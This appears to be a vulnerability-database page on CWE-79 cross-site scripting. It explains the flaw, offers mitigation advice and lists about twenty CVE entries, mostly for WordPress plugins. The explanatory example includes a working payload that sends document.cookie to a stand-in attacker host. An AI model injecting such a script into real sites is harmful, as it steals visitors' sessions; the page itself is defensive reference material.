Fallos del tipo CWE-79

30.469 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-48535MEDIUMGFI Archiver < 15.13 Stored XSS via CallHomeSettingsWizard.aspxEPSS 0.2%CVE-2026-2434MEDIUMPz-LinkCard <= 2.5.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2024-37229MEDIUMWordPress Blogmentor – Blog Layouts for Elementor plugin <= 1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-82769MEDIUMCross-site scripting vulnerability exists in Contec RP-WAH-SR Series. If this vulnerability is exploited, an arbitrary script may be executeEPSS 0.2%CVE-2026-118783MEDIUMAll-in-One Video Gallery < 5.0.0 - Contributor+ Stored XSS via Shortcode AttributeEPSS 0.2%CVE-2026-92590MEDIUMCraft CMS 5.7.0 before 5.10.13 Stored XSS via Generated FieldsEPSS 0.2%CVE-2025-31029HIGHWordPress replyMail plugin <= 1.2.0 - Cross Site Request Forgery (CSRF) vulnerabilityEPSS 0.2%CVE-2026-48530MEDIUMGFI Archiver < 15.14 Stored XSS via CategorizationPolicyWizard.aspxEPSS 0.2%CVE-2025-11873MEDIUMWP BBCode <= 1.8.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-116535MEDIUMSEOPress <= 10.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'display_name' Profile Field via %%archive_title%% Template TagEPSS 0.2%CVE-2026-51153MEDIUMStored Cross-Site Scripting (XSS) in TaskRunHandler.post() in web/handlers/task.py in QD 20220208 through 20250803. When a task is run via /EPSS 0.2%CVE-2026-8866MEDIUMjQuery googleslides <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2025-58671HIGHWordPress Auction Feed plugin <= 1.1.4 - Cross Site Request Forgery (CSRF) vulnerabilityEPSS 0.2%CVE-2025-54670HIGHWordPress oik Plugin <= 4.15.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-53585HIGHWordPress WeMusic theme <= 1.9.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-90884MEDIUMWP Recipe Maker <= 10.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'notes' Parameter via REST Preview EndpointEPSS 0.2%CVE-2026-8887MEDIUMListen Shortcode <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-14466MEDIUMPossible XSS in the SNS web administration panelEPSS 0.2%CVE-2025-11863MEDIUMMy Geo Posts Free <= 1.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-49411HIGHWordPress iFrame Block plugin <= 0.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%